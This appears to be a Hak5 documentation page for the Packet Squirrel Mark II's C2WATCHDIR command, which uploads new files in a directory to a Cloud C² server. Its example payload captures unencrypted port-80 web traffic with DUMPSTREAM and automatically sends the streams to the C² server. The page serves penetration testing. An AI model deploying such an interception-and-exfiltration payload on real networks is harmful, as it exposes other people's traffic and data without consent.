> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/packet-squirrel-mark-ii/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/packet-squirrel-mark-ii/payload-development/duckyscript-for-packet-squirrel/c2watchdir.md).

# C2WATCHDIR

The `C2WATCHDIR` command monitors a directory and sends any new files to the Cloud C² server and then *removes the local file*.

`C2WATCHDIR` is most useful for collecting larger collections of data, and uses USB external storage as a temproary scratch disk.

## Options

`C2WATCHDIR` expects one option:  the path to the directory to monitor.

```
C2WATCHDIR /path/to/directory
```

By default, `C2WATCHDIR` removes files after they are sent to Cloud C².  To keep them, set the `C2_KEEP_FILES` variable before running `C2WATCHDIR`:

```bash
C2_KEEP_FILES=1 C2WATCHDIR /usb/foo/
```

## Experimenting

You can experiment using the `C2WATCHDIR` command live, either in the Web Shell in the web UI, or via `ssh`!

<figure><img src="/files/DWQ7nHQIfUfIANPpnZTx" alt=""><figcaption><p>Using the C2WATCHDIR command in the Web Shell</p></figcaption></figure>

## Examples

```bash
#!/bin/bash

# Title: Cloud C2 auto-send
#
# Description: Automatically send streams captured by DUMPSTREAM to Cloud C2

LED B SOLID

# Set the netmode to NAT, otherwise there is no connectivity at all
NETMODE NAT

# Wait for a USB drive 
USBWAIT

# Make the directory for streams 
mkdir /usb/web_streams

# Watch and upload streams to C2.  Remember to background it!
C2WATCHDIR /usb/web_streams &

# Collect unencrypted web pages on port 80
DUMPSTREAM br-lan SERVER /usb/web_streams/web_ 80
```
